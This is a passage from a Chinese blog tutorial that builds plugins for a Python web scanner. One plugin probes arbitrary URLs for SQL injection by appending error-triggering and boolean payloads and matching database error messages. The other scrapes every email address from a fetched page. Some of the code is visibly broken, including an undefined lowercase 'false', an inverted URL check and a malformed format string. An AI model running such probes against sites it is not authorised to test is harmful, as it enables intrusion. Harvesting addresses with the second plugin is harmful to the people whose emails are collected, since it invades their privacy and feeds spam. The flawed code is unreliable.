Python实现E-Mail收集插件实例教程(2)-木庄网络博客

关于Download模块，其实就是Downloader模块，把Downloader.py复制一份命名为Download.py就行

import re, random
from lib.core import Download

class spider:
 def run(self, url, html):
  if (not url.find("?")): # Pseudo-static page
   return false;
  Downloader = Download.Downloader()
  BOOLEAN_TESTS = (" AND %d=%d", " OR NOT (%d=%d)")
  DBMS_ERRORS = {
   # regular expressions used for DBMS recognition based on error message response
   "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
   "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
   "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
   "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
   "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
   "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
   "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
   "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
  }
  _url = url + "%29%28%22%27"
  _content = Downloader.get(_url)
  for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
   if (re.search(regex,_content)):
    return True
  content = {}
  content['origin'] = Downloader.get(_url)
  for test_payload in BOOLEAN_TESTS:
   # Right Page
   RANDINT = random.randint(1, 255)
   _url = url + test_payload % (RANDINT, RANDINT)
   content["true"] = Downloader.get(_url)
   _url = url + test_payload % (RANDINT, RANDINT + 1)
   content["false"] = Downloader.get(_url)
   if content["origin"] == content["true"] != content["false"]:
    return "sql found: %" % url

E-Mail 搜索插件

最后一个简单的例子，搜索网页中的 E-Mail，因为插件系统会传递网页源码，我们用一个正则表达式([\w-]+@[\w-]+\.[\w-]+)+搜索出所有的邮件。创建script/email_check.py文件

# __author__ = 'mathor'

import re
class spider():
 def run(self, url, html):
  #print(html)
  pattern = re.compile(r'([\w-]+@[\w-]+\.[\w-]+)+')
  email_list = re.findall(pattern, html)
  if (email_list):
   print(email_list)
   return True
  return False

运行python w8ay.py

可以看到网页中的邮箱都被采集到了

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对的支持。

标签：SQLite

返回前面的内容